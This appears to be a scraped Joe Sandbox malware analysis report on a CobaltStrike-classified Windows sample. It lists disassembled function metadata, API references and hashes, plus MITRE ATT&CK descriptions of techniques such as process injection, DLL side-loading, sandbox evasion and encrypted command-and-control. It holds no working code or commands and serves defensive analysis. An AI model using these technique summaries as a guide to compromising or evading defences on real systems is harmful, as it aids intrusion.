Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F2F2
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F2FD
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F308

free.LIBCMT ref: 0067AEBF
free.LIBCMT ref: 0067AF23
free.LIBCMT ref: 0067AF2F

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free$_errno$AllocHeap_callnewhmalloc
String ID:
API String ID: 3531731211-0
Opcode ID: 12a82f6075b3f1b1b37aa8f48911ccb92805a6f06572296fb4e409a8028c0c4a
Instruction ID: 4dfa9effe5ef590a14f708f6425d43e3cd84eb666ee08e0ad8d86dc367fc0050
Opcode Fuzzy Hash: 12a82f6075b3f1b1b37aa8f48911ccb92805a6f06572296fb4e409a8028c0c4a
Instruction Fuzzy Hash: D751007630064582DA98ABA2D4503AD7393FBC4B80F54893AEE0E27B56EF7DC515C706

Function 001BA144 Relevance: 5.2, APIs: 4, Instructions: 155COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 001BA178

Part of subcall function 001BE684: _FF_MSGBANNER.LIBCMT ref: 001BE6B4
Part of subcall function 001BE684: _NMSG_WRITE.LIBCMT ref: 001BE6BE
Part of subcall function 001BE684: _callnewh.LIBCMT ref: 001BE6F2
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE6FD
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE708

free.LIBCMT ref: 001BA2BF
free.LIBCMT ref: 001BA323
free.LIBCMT ref: 001BA32F

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: 4bbd7cf35d3a9611d3bfe0cac302482741ce3a5729489c26a54f39a05b56b302
Instruction ID: 186e246a70f57c853be465db647510dd0cca896556ffc241b6b8c2dc239f5aab
Opcode Fuzzy Hash: 4bbd7cf35d3a9611d3bfe0cac302482741ce3a5729489c26a54f39a05b56b302
Instruction Fuzzy Hash: 5D51003130074582DE28AF22E8507ED63E2FBA5BC0F984429EE4A17B65EF79C502C701

Function 00664300 Relevance: 5.1, APIs: 4, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 00664363

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 1a29f9ba763a41af98fc3daf4a760b7fafa00e022ffdaa07ef0aba0b6fdaf4ad
Instruction ID: 530ed90c7799d936ae7596f3242aec9e382011cf7b4911ccbaf5d58aa51a8d27
Opcode Fuzzy Hash: 1a29f9ba763a41af98fc3daf4a760b7fafa00e022ffdaa07ef0aba0b6fdaf4ad
Instruction Fuzzy Hash: B541CA3230478087CB58DF66E411BAE73A2F784F88F548529EE6A87B05EF38D946C700

Function 001A3700 Relevance: 5.1, APIs: 4, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 001A3763

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 80bcae34b50f6f3c58066c2fc9d1801100724e039a84313f03cb0366590bdd42
Instruction ID: 77d767e9024fda2d898012a813aef0076d0c7132e078364397b5c0eabe0b130c
Opcode Fuzzy Hash: 80bcae34b50f6f3c58066c2fc9d1801100724e039a84313f03cb0366590bdd42
Instruction Fuzzy Hash: 2C41BE7670078087CB18DF66E4107AE77A1F796B84F458625FE2A47B08EF38DA06C700

Function 00671038 Relevance: 5.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 00679170: GetCurrentProcess.KERNEL32 ref: 00679188

GetLastError.KERNEL32 ref: 006710A7
malloc.LIBCMT ref: 0067113C
free.LIBCMT ref: 00671185
GetLastError.KERNEL32 ref: 006711B5

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: ErrorLast$CurrentProcessfreemalloc
String ID:
API String ID: 1397824077-0
Opcode ID: cf62d47a1d5fdb9c876962cfa4c676d021a3fa8d1c8180fd698ba2a0010a64ef
Instruction ID: e3c96e085606936993393d51645e5bd6fe23844c8dd89ffb8ca1b770db688147
Opcode Fuzzy Hash: cf62d47a1d5fdb9c876962cfa4c676d021a3fa8d1c8180fd698ba2a0010a64ef
Instruction Fuzzy Hash: 52418372314A8186DB64DB26E4417AF63A3FB857D8F00942AEF8E4BB49EF3DC5418704

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report yZah650lHL.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: CobaltStrike

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

TCP Packets

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Windows Analysis Report
yZah650lHL.exe

Function 00401180 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 196
sleepstringCOMMON

Function 0066E68C Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 165
networkfileCOMMONLIBRARYCODE

Function 00675E28 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 116
stringCOMMONLIBRARYCODE

Function 00661184 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
encryptionCOMMONLIBRARYCODE

Function 00401630 Relevance: 6.0, APIs: 4, Instructions: 50
pipefileCOMMON

Function 004017F8 Relevance: 22.8, APIs: 4, Strings: 9, Instructions: 54
threadCOMMON

Function 0066EA48 Relevance: 9.1, APIs: 6, Instructions: 109
networkCOMMONLIBRARYCODE

Function 0066CA74 Relevance: 7.8, APIs: 6, Instructions: 296
COMMONLIBRARYCODE

Function 0066F014 Relevance: 4.6, APIs: 3, Instructions: 66
networkCOMMONLIBRARYCODE

Function 00401595 Relevance: 4.5, APIs: 3, Instructions: 47
memorythreadCOMMON

Function 00401704 Relevance: 4.5, APIs: 3, Instructions: 45
fileCOMMON

Function 0066F118 Relevance: 3.0, APIs: 2, Instructions: 42
networkCOMMONLIBRARYCODE

Function 001B96B4 Relevance: 1.6, APIs: 1, Instructions: 149
libraryCOMMON

Function 00403040 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Function 001B9324 Relevance: 1.3, APIs: 1, Instructions: 87
memoryCOMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre